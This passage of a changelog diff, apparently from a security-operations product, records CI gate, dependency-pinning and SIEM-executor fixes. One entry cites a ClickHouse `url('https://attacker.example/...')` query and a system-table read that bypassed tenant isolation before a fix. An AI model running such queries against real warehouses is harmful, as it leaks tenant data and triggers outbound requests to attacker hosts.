served by the hosted- deployment, in the same line that promises "no data leaves your CI"; the- report card's coverage footer linked the hosted tool while its sibling- already linked the repository.- - `playwright.config.ts` defaulted one project to the hosted host and the- adjacent project to `localhost` — same env var, two answers.+- **Two more gates were exempt from the empty-corpus rule only by accident.**+ `check_route_auth.py` and `check_tenant_query_predicates.py` did not exit 0+ over an empty tree, but neither had a corpus floor: each happened to fail+ first on its own stale-exemption ratchet, because every entry stopped+ matching at once. That is a true statement about the wrong thing, and it+ disappears the moment somebody empties the table. Both now refuse the+ corpus itself, ahead of every output mode including `--inventory`, which CI+ runs as its own step — a green step printing `TOTAL 0` is the same defect+ one level out. The route gates share one floor, in+ `check_route_tenant_scope.py`, because they share one collector; the+ predicate gate refuses each of the three ways its scan can empty+ separately, since files, tenant-scoped tables and statements reaching zero+ are three different losses and the middle one is the quiet one. Proven both+ ways: with every exemption table emptied the floor is still what refuses,+ and the real repository is unaffected.- Two admin console pages also rendered the hosted hostname as body text, and- the demo-mode 403 told every operator "This is the public AiSOC demo at- tryaisoc.com" regardless of where it was running.+ `check_route_auth.py` now imports its scanner as a module rather than by+ name. It took `REPO_ROOT` and `SERVICES_DIR` by value at import time, so the+ shared self-test rebinding them would have left this gate scanning the real+ checkout while believing it was pointed at an empty one — a self-test that+ proves nothing, which is the shape the whole exercise is about.- A new gate, `scripts/check_hosted_hostname.py`, keeps this from coming back.- It is deliberately not "the string must not appear": the hostname stays in- 99 files that genuinely describe the managed offering — the fly/cloudflare/- terraform deploy configs, the marketing pages, the changelog, and two- `uuid5` namespace seeds that are compatibility constants rather than URLs.- It pins an exact occurrence count per path and fails in **both** directions:- a new or grown occurrence, and an exemption that outlived the occurrence that- justified it. A stale exemption is a standing permit for a future leak, and a- one-directional allow-list never notices one. It resolves its repo root from- the working directory rather than its own file location (a sibling gate did- the latter and reported a confident OK about a tree it never opened), refuses- a tree that fails a sentinel check, treats a zero-match scan as broken rather- than clean, and ships a `--self-test` proving the detector separates a- known-bad from a known-good sample and that the comparison rejects a vacuous- pass. Covered by `tests/test_hosted_hostname_gate.py` (39 cases) and- `.github/workflows/hosted-hostname.yml`, which runs on pull requests *and* on- pushes to `main` so an edit made at merge time cannot slip past.+- **`check_gate_contract.py` can now ask "the directory exists and is empty",+ not only "the repository is not there".** Its scratch tree omitted+ `services/` and `detections/` entirely, so a gate opening with+ `if not X.is_dir(): return 2` refused it for a reason that says nothing+ about its corpus — and the way a corpus is actually lost is a renamed+ package or a glob that stopped matching, neither of which removes the+ directory. A second **skeleton** shape creates them empty and every check is+ probed against both. The cost was measured rather than assumed before+ committing to it: 64 of the 71 checks already refused the skeleton, and of+ the five that did not, three were defects now fixed and two were already+ recorded exceptions. The exception table is keyed by shape and has five+ entries. Probe runtime went from ~8 s to ~16 s.-- **The MSSP console showed six invented tenants and made no API call at all.**- `MSSPDashboardView.tsx` declared `const TENANTS = [...]` — "Acme Financial",- "GlobalRetail Corp", "MedSecure Health" and three more, with invented alert- counts, MTTD/MTTR figures, risk scores, analyst headcounts and ARR — handed- it to `useState`, and never fetched anything. Every operator on every- deployment saw the same six rows, permanently, with no state in which they- would not. The "Export Report" button raised a success toast and did nothing.+- **`check_route_tenant_scope.py` reported OK having scanned zero routes.** It+ refused a tree with no `services/` directory, which is not how a scan loses+ its corpus: a renamed package, a changed decorator spelling or a walk that+ stops descending all leave the directory in place. Against a `services/`+ tree with no routes in it the gate printed `scanned 0 routes across 0 files`+ and then `OK: every route taking a tenant identifier authenticates` — the+ same sentence CI shows on a real pass. It now exits 2, and `--self-test`+ carries the case. Naming the count was only half the fix: the number was+ already printed, directly above the clean verdict.- It now reads `GET /api/v1/mssp/portfolio` and- `GET /api/v1/mssp/portfolio/alerts` with no sample-data fallback and no SWR- `fallbackData` (supplying it disables revalidation, so a placeholder becomes- what the view permanently shows). Four states, each saying which it is:- loading; a `403` explained as "you do not manage any tenants" rather than an- outage; a portfolio failure surfaced with its message and a retry; and an- empty portfolio that distinguishes "this organisation manages no tenants"- from "you were granted none" using `portfolio_wide` and `scoped_tenants`,- because those have different fixes. The alert feed has its own states so a- failure there does not claim the portfolio is down. Export now writes a CSV- of the rows on screen — a real action rather than a toast.+- **The dependency audit reported success over a tree with no manifests.**+ `security_audit.py`'s pnpm, python and go arms each discovered zero targets+ and printed `0 findings`, which is the sentence a clean audit of twenty+ services prints. The file already treated an unscanned service as a failure+ rather than a warning — the gap was that a corpus of zero was never+ *unscanned*, just empty. All three now record a coverage gap when discovery+ finds nothing, and `validate-ignores` refuses a missing policy file instead+ of reporting `Validated 0 ignore entries` and exiting 0. `get_repo_root()`+ also stopped falling back to `Path.cwd()`, which meant a run from anywhere+ else audited whatever manifests happened to be under it.- **ARR, risk score and analyst allocation are gone, not sourced.** There is no- revenue, composite-risk or analyst-allocation data anywhere in this product.- A column of nulls would still imply the measurement exists.+- **The dependency audit only ever looked at one of the repository's two pnpm+ install roots.** `run_pnpm_audit` ran `pnpm audit` in the repo root and+ nowhere else, so `apps/mobile` — a deliberately separate install root, with+ its own `pnpm-workspace.yaml` so its installs stop rewriting the root lock —+ was never scanned. Two high-severity advisories stood open there while the+ `security-audit` job reported a clean workspace, which is the same shape as+ the stale `poetry.lock` that once dropped `services/slack-bot` and hid eleven+ advisories. Install roots are now discovered from the tree (every directory+ holding a `pnpm-lock.yaml`), each is audited, and a finding names the root it+ came from rather than a generic "pnpm workspace". A tree with no lockfile+ anywhere is recorded as a coverage gap instead of reported as clean.-- **The fabricated-data gate could not see either of the two worst cases.**- `scripts/check_mock_data_gated.py` recognised only mock data that announces- itself: all three of its patterns required a `MOCK_` / `DEMO_` name *and* an- assignment through a state setter or SWR `fallbackData`, which models one- situation — a view that fetches and substitutes a sample when the fetch- fails. A dataset written inline under an ordinary name, in a component with- no fetch at all, matched nothing; and with no fetch there was no real path- for a fallback to fall back *from*, which is the worse defect, not the- lesser one. The gate reported "All sample-data fallbacks are gated behind- demo mode" while both fabricated tables shipped.+ The two advisories it surfaced (`GHSA-5p2g-fcmc-qvqq`, `GHSA-w3rx-r6r6-pgpr`+ in `image-size`) are suppressed with an expiry rather than fixed, because no+ fix is reachable: `apps/mobile` resolves `image-size 1.2.1` solely through+ `metro 0.83.3`, no patched 1.x exists, every metro release through 0.87.1+ still requires `^1.0.2`, and `image-size` 2.x drops the callable default+ export `metro/src/Assets.js` calls — so an override would break asset+ resolution at bundle time rather than bump a version. Dependabot's updater+ reaches the same verdict independently (`security_update_not_possible`).+ Both are denial-of-service only and build-time, reachable only from an image+ already committed to this repository.- A third check looks for what makes fabricated domain data harmful rather- than for what an author happened to call it: a module-scope array of records- that names an entity a customer would recognise — a company, a person, a- host, an IP, an address — *and* attaches numbers to it. Numeric keys that- describe how something is drawn are excluded, which is what keeps it quiet:- 93 module-scope object arrays in the console, 7 matched, and the 4 already- behind `demoFallback()` were the mocks. It newly caught- `MSSPDashboardView.tsx` and `TeamAnalyticsView.tsx`.+- **Twenty-two dead paths in comments and docstrings**, found by the new+ gate on its first run. Among them: cost provenance pointing at migration+ `055` when the file is `063`; the Wazuh severity table pointing at+ `apps/docs/connectors/` instead of `apps/docs/docs/connectors/`; eight+ copies of the vendored `tenant_scope.py` pointing at a+ `check_vendored_tenant_scope.py` that is spelled `sync_`; eleven files+ pointing at a root-level `tests/test_security_defaults.py` that lives+ under `services/api/`; and three separate pointers at CI checks that had+ never been written, one of which `check_action_contract.py` already+ documented as fictional in its own docstring.- The reviewed-exception list is checked in **both** directions: an entry that- no longer matches anything fails the gate, so an exemption cannot outlive the- code it excused and become cover for whatever is written next under that- name. One entry, `MitreStrip.tsx` — a public landing-page illustration whose- visible copy already tells the reader the tiles are illustrative.- `tests/test_mock_data_gate.py` covers both properties, including that filter- lists, graph stylesheets, decorative SVG coordinates and pricing copy stay- unflagged; a gate that cries wolf on every configuration array gets deleted,- which is worse than the gap.+- **`main` went red because an install list depended on an extra it never+ declared, and an upstream release stopped supplying it by accident.** The+ `Python — Service unit tests (fusion, honeytokens, purple-team)` job failed+ on `purple-team`'s `test_every_api_route_requires_auth` with+ `ModuleNotFoundError: No module named 'greenlet'` — 99 other tests in the+ job passed. Nothing about `purple-team` had changed: the test has imported+ `app.api.routes` since it was written, that module has always imported+ `sqlalchemy.ext.asyncio`, its `pyproject.toml` has always declared+ `sqlalchemy[asyncio]`, and its `poetry.lock` resolves `greenlet 3.5.6`. The+ declaration was right and the install path was wrong: this job consults+ neither the manifest nor the lock, it pip-installs a hand-curated list, and+ that list named a bare, unbounded `sqlalchemy`.-- **`/analytics/team` ranked six invented analysts by invented accuracy.**- "Sarah Chen, 47 cases closed, 96.2% accuracy, score 945" and five more, plus- a highlights feed of things that never happened. Nothing in the platform- measures per-analyst performance — no route, no table, no column — so the- sample is confined to the hosted demo via `canUseDemoData()` and everyone- else is told plainly that the measurement does not exist yet. The aggregate- tiles read `—` rather than dividing by zero.+ It passed for months anyway. Through SQLAlchemy 2.0.x, `greenlet` was+ required *outside* the `asyncio` extra whenever `platform_machine` matched+ one of `aarch64 | ppc64le | x86_64 | amd64 | AMD64 | win32 | WIN32` — true+ on `ubuntu-latest` — so a bare `sqlalchemy` installed it incidentally and+ the extra was load-bearing and unnamed at the same time. SQLAlchemy 2.1.0+ removed that clause, leaving `greenlet>=1; extra == "asyncio"` as the only+ requirement. 2.1.0 was published at 20:12:49 UTC on 2026-09-24; the last+ green commit on `main` (`ba0c6429`) is timestamped eleven minutes before it+ and the first red one (`ad775e8d`, #829) ten minutes after. #829 was an+ LLM-routing change that touched no file under `services/purple-team` and+ nothing in that import chain — it is the commit whose run happened to+ re-resolve first, not the cause. So this was neither a dependency that went+ missing nor an import path newly reached; it was an unpinned install+ re-resolving across an upstream minor.-- **The OpenAPI gate's documented escape hatch did not exist.** The workflow- header told a maintainer to "re-run with `--allow-breaking`" and- `scripts/openapi_diff.py` claimed the flag was what "the release flow uses" —- but the workflow triggered on `pull_request` only, with no dispatch, no input- and no label check, and the diff step never passed the flag. `--allow-breaking`- had **no caller anywhere in the tree**. A maintainer facing a correct,- deliberate break had no action that worked, and the two statements describing- the procedure were both false.+ The job now installs `"sqlalchemy[asyncio]>=2,<3"`, matching both the+ manifest and the wave-2 matrix job, which had it right all along.+ `greenlet` is deliberately *not* added as a top-level pin: the extra exists+ to pull it, and naming the transitive package instead would record the+ workaround rather than the dependency. `isolation.yml`, which had done+ exactly that — bare `sqlalchemy` plus an explicit `greenlet` — now declares+ the extra and drops the compensating entry.- The hatch is now a PR label, `breaking-change-approved`, chosen over a- `workflow_dispatch` boolean because applying a label leaves an attributable- record of who authorised the break and when on the PR timeline. The job reads- that timeline and names the approver in its output. It re-runs on `labeled`- and `unlabeled`, so the label is a live control rather than one that waits for- the next push.+- **The wave-1 service-test job installed twelve packages with no version+ bound, which is the outage that already happened, still loaded.** A CI job+ pip-installing a hand-curated list named a bare, unbounded `sqlalchemy` and+ passed for months only because a platform marker happened to pull+ `greenlet`; when 2.1.0 deleted that clause, every import of+ `sqlalchemy.ext.asyncio` began failing at collection. That one was bounded.+ The other twelve in the same list were not, and the job's own comment said+ so — *"Bounding the range is the second half: unbounded, any upstream+ release lands here before anyone reads it."* `pydantic`,+ `pydantic-settings`, `pytest`, `pytest-asyncio`, `structlog`, `redis`,+ `aioredis`, `httpx`, `aiokafka`, `asyncpg`, `clickhouse-driver` and `pyyaml`+ now carry the range the three services under test declare, so the job+ installs what they ship rather than whatever PyPI is serving this morning.- Approval is not a skip, and the flag is no longer usable as a silent bypass:- `--allow-breaking` now *requires* `--changelog` and `--changelog-base`, so it- cannot be wired up without also wiring up the thing that records what was- approved. The detector still runs, and the job summary lists every breaking- change being permitted next to the CHANGELOG note that justified it. The- approval is refused if there is no `### BREAKING` section under- `## [Unreleased]`, or if that section is byte-identical to the base branch's —- checked in both directions, because "a BREAKING section exists" alone would- let the first note in a release cycle excuse every later break in that cycle.+ Two things fell out of doing it, both pre-existing and both invisible while+ the install was unbounded. `redis` was installed bare while+ `services/fusion` declares `redis[hiredis]` — the same dropped-extra shape+ as the `sqlalchemy` break, an install path quietly installing a smaller set+ than ships. And the three manifests **could not be satisfied at once**:+ `services/fusion` declared `httpx = "^0.26.0"` while `honeytokens` and+ `purple-team` declare `>=0.27.0`. The unbounded install resolved 0.28.1, so+ fusion was being tested on a version its own manifest forbade and shipping+ 0.26.0 — tested and shipped were different software, which is the exact+ thing `check_dependency_pins.py` exists to prevent. fusion moves to+ `>=0.27,<0.29`, matching api / actions / mesh / osquery-tls / slack-bot /+ teams-bot, and its lock re-resolves to 0.28.1 so the three now agree and the+ job tests what fusion ships. All three suites pass on the bounded set+ (fusion 308, honeytokens 66, purple-team 100, every coverage floor met).- The version-bump half of the old promise was dropped rather than implemented:- this repository accumulates under `[Unreleased]` and bumps `VERSION` at- release-cut, so a per-PR version check would demand something no PR can- correctly do. The comment now says what the control does.+ Still unbounded and reported rather than silently fixed: `services/connectors`+ and `services/threatintel` also declare `httpx = "^0.26.0"`, and neither is+ in this job.- Thirteen new tests, all of which fail against the pre-change tree. Four are- wiring assertions over the workflow YAML itself — that some step passes- `--allow-breaking`, that the step passing it is guarded by the label and- presents its evidence, that the unapproved path still blocks, and that- `labeled` is in the trigger types. A unit-tested function with no caller is- indistinguishable from a working feature until something asserts the call.+- **`services/connectors` reached `sqlalchemy.ext.asyncio` without declaring+ the extra that makes it importable.** `app/db/engine.py` calls+ `create_async_engine`, and the manifest declared `sqlalchemy = "^2.0.0"`.+ It resolved only because of the same pre-2.1.0 accident, which means the+ next SQLAlchemy bump would have dropped `greenlet` from the lock the image+ installs from and broken the poller in production rather than in CI. It was+ the only service in this position — every other service that imports the+ module already declared `[asyncio]`. Re-locking with the extra changes two+ lines and no resolved version.-- **Two response verbs worked and could not be reached.** `ack_alert` and- `suppress_alert` have had Splunk, Elastic and Defender arms since Phase 3.3- and were wired into `EXECUTOR_REGISTRY` — and appeared in none of the three- registries that make a verb dispatchable: the live-action adapters, the- capability contracts, or the capability vocabulary. Governed dispatch- answered `executor_not_found` for code that ran, which reads as a- misconfigured integration rather than a capability nobody connected. This is- the mirror image of a defect already fixed here in the other direction,- where eleven capabilities had a contract and no executor at all — including- `unisolate_host`, so the rollback for the most disruptive action in the- product resolved to nothing.+- **`scripts/check_dependency_pins.py` now compares extras, not just+ version ranges.** `sqlalchemy` and `sqlalchemy[asyncio]` are two different+ dependency sets, and the gate that exists to assert every install path+ agrees was reading the name and the range and discarding the extras — so it+ reported agreement between a manifest and a workflow installing strictly+ less software. Extras are now part of a declaration's identity in both+ syntaxes (PEP 621 brackets and Poetry's `extras = [...]` table, the latter+ being the one that was silently dropped), with three directions checked+ because the direction nobody aims a gate at is the one that rots:+ `manifest -> install path` (a workflow or image dropping an extra a+ manifest declares), `source -> manifest` (code importing the module an+ extra enables under a manifest that does not declare it, read out of the+ source so the manifest is not asked to vouch for itself), and+ `extra -> lock` (an extra declared while the lock resolved nothing it+ provides — "the extra is declared and the library is absent" is now a+ sentence this gate can say). Run against the pre-fix tree it names all+ three defects above and the files holding them; `--self-test` injects each+ direction separately, and six tests in+ `tests/test_dependency_pin_gate.py` pin the parsing and the directions.- Both verbs now have six vendor adapters (one per vendor arm), a capability- contract, an entry in the vocabulary on both sides of the mirror, and a- verification probe. Each adapter pins `alert_vendor` so a tenant with two- SIEMs configured does not have the target chosen by credential ordering; the- pin is still checked against the credentials, so pinning a vendor the tenant- has not configured simulates rather than claiming an arm that could not have- run.+- **`scripts/check_toolchain_pins.py` compares every Node install root+ against every other.** There are four — the workspace root, `apps/mobile`,+ `services/realtime` and `services/mcp/cursor-extension` — and the gate read+ dependency resolution out of the first one only, so the `image-size` split+ above was invisible to it. It now discovers install roots structurally,+ reads both pnpm and npm override spellings and both lockfile formats, and+ checks in both directions: an override declared in one root against what+ every other root resolved, and each root's own lockfile against its own+ manifest. Exemptions are keyed on the exact versions they were verified+ against, so a bump re-opens the question rather than inheriting the+ clearance. Running it against the pre-fix tree names the defect and the+ file; running it over a lockfile it cannot parse, or a tree with no+ install root, fails rather than reporting a clean comparison it never+ performed. The gate found a third instance of the same class on first run+ (`ws` 6.2.6/7.5.13 in `apps/mobile`, verified clean against OSV and+ recorded).- `ack_alert` is LOW impact and automatic: it marks a finding in-progress and- owned by AiSOC, removing nothing from anyone's view, and two analysts- working the same notable is the cost of not doing it. `suppress_alert` is- LOW impact and **analyst-gated**, because what makes the disposition- writeback safe to automate is the mapping that refuses to close a confirmed- true positive, and this verb has no such bound — it closes whatever it is- pointed at, on the caller's say-so.+- **CI installed `cryptography>=41,<46` for services whose manifests required+ `>=46,<51`** — two ranges with no overlap, so the version CI tested could+ never be the version the image shipped. `connectors` and `osquery-tls` also+ floored at `44.0.1` for CVE-2024-12797 while CI was free to install `41`.+ One range, `>=46,<51`, now covers every manifest, Dockerfile and workflow,+ including `packages/aisoc-cli`, whose Ed25519 plugin signatures the API+ verifies. `PyJWT` was unbounded in eight workflow install paths and is now+ `>=2.8,<3` everywhere; `poetry` itself was 1.7.1 in five images, 1.8.2 in+ three and unpinned in two workflows, and is now `2.4.1` everywhere.++- **`ruff` was declared six different ways while `ruff format --check` gated+ on one of them.** `services/api` permitted `<0.17.0`, `fusion` `^0.2.0`,+ the published packages `>=0.3`, and the devcontainer installed it unpinned —+ while CI enforces `>=0.4.4,<0.5`. A contributor installing their own service's+ dev group got a ruff that reformats the tree and reds their PR with no+ dependency change in the diff. All fourteen declarations now read+ `>=0.4.4,<0.5`. The devcontainer also told contributors to `uv sync` against+ `services/api/uv.lock`, which has never existed in this tree.-- **A one-directional gate would have missed all of it.** `check_action_contract.py`- now compares the four registries a verb needs in **both** directions, and- `test_capability_reachability.py` injects drift in each direction and asserts- the gate names it. The dominant failure shape in this repository is a check- that compares A against B and never B against A, so drift in the direction- things actually change passes while the check prints OK — the graph-schema- check reported OK with 17 node labels declared and 28 implemented.+- The workspace-wide `esbuild` override ban now applies to every install+ root instead of the repository root alone. `apps/mobile` was the one place+ the mistake that broke Turbopack's font import map could have been+ reintroduced without anything noticing, because its bundler is Metro and+ the damage would surface in a different workspace.- Running it found three more mismatches beyond the two above. `create_ticket`- and `notify` were registered, contracted and dispatchable across four- vendors while absent from `KNOWN_CAPABILITIES` and the connectors- `Capability` enum, so the registry logged `capability_unknown` for them at- every startup; both are now in the vocabulary. `chatops_verify` has an- executor no adapter reaches, and three `ActionType` members- (`capture_forensics`, `add_ioc_to_blocklist`, `run_playbook`) have no- executor at all — the first of those is proposed by name by the- investigation agent on the C2/exfiltration path, so the product recommends- evidence acquisition it cannot perform. Those four are recorded in the- gate's exemption lists with the reason each is open. Both lists are- ratchets: an entry that gains an implementation and is not removed fails the- build.+- **Dependabot proposed Expo SDK 57 packages for an SDK 54 app, from an entry+ that was never meant to see them.** `pnpm-workspace.yaml` excludes+ `apps/mobile` with a `!apps/mobile` negation and pnpm honours it — the root+ lockfile has no `apps/mobile` importer. Dependabot's manifest scan does+ not: it expands `apps/*`, finds `apps/mobile/package.json` and proposes+ updates for it from the root `/` entry, where none of the Expo holds+ written into the dedicated `/apps/mobile` entry apply. The result was+ `expo-constants 18.0.14 -> 57.0.19` — a release-train version, not a+ package version — carrying no lockfile change at all, since from the root+ entry's point of view the lockfile is the root one and the package is not+ in it. `pnpm install` resolves it to `expo-router 6.0.24 unmet peer+ expo-constants@^18.0.13`, while `tsc --noEmit` stays green, so the mobile+ job would have passed. Fixed with `exclude-paths: ["apps/mobile/**"]` on+ the root entry, which is version-updates-only and so leaves that+ directory's security alerts with the entry that owns them.-- **The disposition writeback now verifies itself against the vendor.** It- shipped declaring no verification probe, which was honest — a declared probe- that does not run is the defect the contract gate exists to catch — but the- standing rule is that an unverifiable action is not an autonomous one, and- this action is automatic. The probe re-reads the finding and compares its- state against the plan re-derived from the same verdict through the same- `plan_writeback` the executor used, rather than being told separately what- to expect. Splunk ES reads back the `incident_review` collection (a new- `SplunkClient.get_notable_event_state`) and confirms status `5` on a close,- or status `1` *and* the owner AiSOC set on an escalation, since status alone- cannot distinguish a notable an analyst had already picked up. QRadar- confirms `CLOSED` through `get_offense`, whose docstring had claimed to be- the writeback probe since it was written and had no caller.+- **The root entry's holds are written per dependency name, so a breaking+ major of anything not already on the list still arrives as an ordinary+ weekly bump.** `vitest` 4.1.11 → 5.0.1 was the demonstration. Every+ `ignore` in that entry names a specific package someone had already been+ burned by — `eslint`, `typescript`, `storybook`, `@storybook/*` — and+ nothing holds majors as a class, so "stop proposing breaking majors"+ described four names rather than a rule. Measured on the proposal: all 59+ test files and all 615 tests passed, then the run failed with 59 unhandled+ rejections reading `TypeError: Expected string coverage payload, received+ object` from `V8CoverageProvider.onAfterSuiteRun`, and a coverage report of+ `All files | 0 | 0 | 0 | 0`. vitest 5 changed the V8 coverage payload+ shape and `@vitest/coverage-v8` stayed on 4.1.10, because its own manifest+ range was still satisfied and it peer-requires `vitest` at an *exact*+ version rather than a range. Separately, the root `pnpm.overrides` pins+ `@vitest/mocker` to `>=4.1.11 <5` while `[email protected]` depends on+ `@vitest/[email protected]`, so the override wins silently and the proposal's+ lockfile carries a vitest 5 runtime with a vitest 4 mocker. Held at the+ major for `vitest` and `@vitest/*`, and grouped within the major so the+ exact-version peer pair stops drifting — `pnpm install` on the current+ lockfile already reports `unmet peer @vitest/[email protected]: found+ 4.1.10`, which is survivable inside a major and is why nobody had noticed.- A QRadar **escalation** deliberately reports `unverified`: escalating leaves- the offense `OPEN`, which is also its prior state, so confirming "still- OPEN" would certify a write that never happened — the same shape as the- isolation probe that returned `bool(device_id)` and would have certified an- uncontained host. Elastic, Sentinel and Defender expose no read of a- finding's state and report `unverified` too. `ack_alert` and- `suppress_alert` are verified against the same read-back.+- **`update-types: ["version-update:semver-major"]` cannot hold a 0.x+ dependency, so the Storybook hold covered every member of the family+ except the one that needed it.** For a pre-1.0 package the breaking change+ arrives in the minor slot, and `@storybook/test-runner` is the only+ pre-1.0 member: 0.23.0 declares+ `peerDependencies: { storybook: "^0.0.0-0 || ^8.2.0 || ^9.0.0" }` and+ 0.24.5 declares `"^0.0.0-0 || ^10.0.0 || … || ^11.0.0-0"`. Its version line+ is independent of Storybook's the way the Expo packages' are, but its peer+ tracks the Storybook major exactly, so 0.24 is the Storybook 10 line of+ the package and installs against this workspace's `[email protected]` as an+ unsatisfied peer. Nothing in CI could catch it — no workflow runs+ `test-storybook`, and the only Storybook job runs `build-storybook`, which+ never loads the runner — so the proposal was green on all 22 required+ checks while migrating the whole jest tree 29 → 30 underneath it. The+ minor channel is now held for that package alongside the family's major.-- **A dry run called the customer's production SIEM.** The live-action dry-run- path works by stripping credentials so the executor falls through to- simulation, and the strip list did not match what the client factory reads:- the Splunk adapters stripped `splunk_host` / `splunk_token` / `splunk_index`- while `_splunk_client` reads `splunk_url` *first* and also accepts basic- auth. `splunk_url` is exactly what the credential resolver writes for a- connector-configured tenant, so a "preview" built a real client and called- Splunk. Elastic had the identical mismatch (`elastic_host` stripped,- `elastic_url` read). The strip lists are now the factories' own exported key- tuples, and a test re-derives each read set from the factory source so the- two cannot drift again.+- **The `services/realtime` Dependabot entry let the eslint family arrive one+ package at a time.** `@eslint/[email protected]` declares+ `peerDependencies: { eslint: "^10.0.0" }`, so bumping it alone against this+ service's `eslint@^9` installs a tree `npm ls` reports as `invalid` in nine+ places — and nothing else notices: `npm ci`, `tsc`, `eslint src test` and+ the test run are all green on it, and the effective rule set grows by three+ rules rather than shrinking. Unlike the root workspace this service does+ not use `eslint-plugin-react`, and `[email protected]` already+ accepts `eslint@^10`, so the family is grouped rather than held: it can+ move whenever all of it arrives in one reviewable pull request.-- **An `alert_vendor` pin was honoured without checking that vendor's- credentials existed.** `_ack_vendor` returned the pinned vendor- unconditionally. A dry run strips credentials, so the pin survived the strip,- resolved to "splunk" with no client, and hit an `assert` — crashing an action- that was meant to be a harmless preview. A pin naming a vendor the tenant had- never configured reported a vendor arm that could not run. A pin is now- checked against the credentials, and an unusable pin resolves to *nothing*- rather than falling through to whichever other SIEM happens to be configured:- "write this to Splunk" must not become "write this to Elastic".+- **The `services/api` pip entry had no holds, against two ratchet gates.**+ `ruff` is declared in fourteen files (a count+ `scripts/check_dependency_pins.py` enforces agreement across) and `mypy` in+ six, plus `.github/workflows/ci.yml` for both, and Dependabot can only edit+ one of them.+ Measured rather than assumed: `ruff` 0.16.8 reformats 90 files and reports+ 3 lint errors where the pinned 0.4.10 reports `All checks passed!` and+ `1229 files already formatted`; `mypy` 2.3.1 makes+ `scripts/check_mypy_baseline.py` exit 1 with 35 `(tree, file, code)`+ entries no longer matching. Both failures land on the required+ `Python — Lint & Type-check` check, which is to say on every open pull+ request rather than on the bump's own. Held at the majors (and, for `ruff`,+ the minors, since 0.4 → 0.16 is a minor step under semver while 0.4.x+ patches still flow). `sqlglot` is deliberately *not* held: an `ignore` rule+ suppresses security updates as well as version updates, and a single-path+ sqlglot bump already cannot merge because `scripts/check_sqlglot_pin.py`+ fails closed when the seven install paths disagree.-- **`CreateNotableEventExecutor` raised `TypeError` on every live call.** It- passed `title=` / `description=` / `fields=` to a client whose signature is- `(rule_name, event_data, severity, owner, status)`. Invisible because- simulation mode never constructs the client — the same defect class as the- `max_results` / `max_count` drift fixed earlier on this module. Every SIEM- executor-to-client call is now pinned by an autospec'd signature test, which- a hand-written fake with `**kwargs` could never have caught.+- `.github/dependabot.yml`'s `apps/mobile` entry gains the `typescript`+ semver-major hold that the `/` and `/services/realtime` entries already+ carry. Its CI gate is `tsc --noEmit`, so it was the only Node install root+ running `tsc` without the hold — the same shape as the `image-size`+ finding, a decision taken for the workspace that never reached the root+ installing separately.-- **The lake's tenant isolation could be switched off by resolving a- dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the- only thing separating one tenant's events from another's in ClickHouse: it- parses untrusted operator SQL with sqlglot, enforces the table allowlist- against the parse tree, bans ClickHouse table functions, and injects the- `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from- `args["from"]` to `args["from_"]`. The table walk read the old key, got- nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant- data, nothing to do". Every single-table query then came back with no- allowlist check, no table-function ban and no tenant predicate, reported as- a successful rewrite.+- **`_SECRET_PATTERNS` was declared with a type its value cannot have, which+ switched off checking of the secret-masking loop.** The annotation in the AI+ SDK's redaction module read+ `tuple[tuple[str, re.Pattern[str]], None | str] | tuple`, whose first member+ is a two-element tuple — structurally impossible for the eight-pair value, so+ it only ever matched through the bare `| tuple`. That erases the element type+ to `Any`, which is why nothing objected to calling `.subn` on something typed+ as possibly a `str`. In a path whose job is to stop secrets leaving the+ process, a checker that has been silently switched off is worse than none.+ Declared `tuple[tuple[str, re.Pattern[str]], ...]`, which is what it is.- `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the- Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable- by installing the service exactly as declared, and CI could not see it- because CI installed the narrow range. Verified on sqlglot 30.19.0 against- the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned- unscoped, `SELECT * FROM system.tables` was accepted, and- `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of- which makes the warehouse issue outbound HTTP with its own network identity.+- **Five LLM input-contract handlers raised `TypeError` instead of degrading.**+ `/translation`, `/phishing`, `/knowledge-base`, `/hunts` and `/detection-loop`+ each catch `LLMContractViolation` — the untrusted-input boundary refusing a+ prompt — and logged it as `logger.warning("<event>", reason=exc.reason)`.+ `logger` is `logging.getLogger`, not structlog, and the stdlib `Logger`+ rejects an unknown keyword with a `TypeError`. An exception raised inside an+ `except` block is not caught by a sibling handler, so the `except Exception`+ sitting directly beneath it never saw it: the one path whose job is to+ degrade gracefully was the only path that raised. `phishing.py` carries a+ comment explaining that the log line was added *because* the handler used to+ swallow everything — the fix for the silent failure was itself throwing. Only+ six of thirteen trees declare `[tool.mypy]`, so an AST scan swept the rest of+ `services/` and `packages/`; those five were the only instances repo-wide.- Three changes rather than one, because pinning alone would leave the trap- armed for the next bump. The FROM clause now resolves by node type instead- of by key name. `rewrite_for_tenant` ends with an audit that takes its own- independent census of the statement's tables and raises the new- `LakeSqlIsolationError` unless every one of them was scoped, the tenant- survived into the rendered string, and every rendered SELECT that reads a- lake table carries the tenant in its own WHERE — so a partially scoped- UNION fails too. And all seven install paths now declare one identical- range, enforced by `scripts/check_sqlglot_pin.py`, with- `.github/workflows/lake-isolation.yml` running the rewriter suites against- both the shipped range and the next major so a future bump fails loudly- instead of quietly downgrading isolation.+- **Six guards inspected a different call's result from the one they+ guarded.** `x.get(k) if isinstance(x.get(k), dict) else {}` calls `get`+ twice; it is safe for a plain dict and that is not a property anything+ enforces, which is what the twenty `union-attr` findings underneath it were+ reporting. Fetched once and then tested, in `playbook_step_dispatch`,+ `siem_writeback` and `sla`.-- **The alerts list was empty on every deployment, under a row count that was- real.** `AlertListResponse` returns the rows under `items`; the web client- read `raw.alerts`, which is never present, so `Array.isArray(undefined)` was- false and each page resolved to `[]` while `total` carried the true figure.- The queue therefore rendered "1,247 alerts" above an empty table with no- error to explain it, and an operator's most reasonable reading of that screen- was that their estate was quiet. The client now reads `items`, still accepts- the legacy `alerts` key the responder routes emit, and a test asserts the two- halves of the contract against each other so they cannot drift apart again.+ Together with a `_compute_durations` return annotation that claimed+ `dict[str, int | None]` while returning a `str` severity, these take the mypy+ ratchet from 690 to 656. `packages/sdk-py` declared `[tool.mypy]` with no+ `python_version`, so it was type-checked against whichever interpreter the+ job ran and its share of the baseline moved with CI rather than with the+ code; it is pinned to 3.11 like the other five, and the toolchain gate now+ fails on a tree that asks to be type-checked without saying against which+ Python. What remains on the ratchet is annotation hygiene and artefacts of+ the deliberate no-dependencies environment the 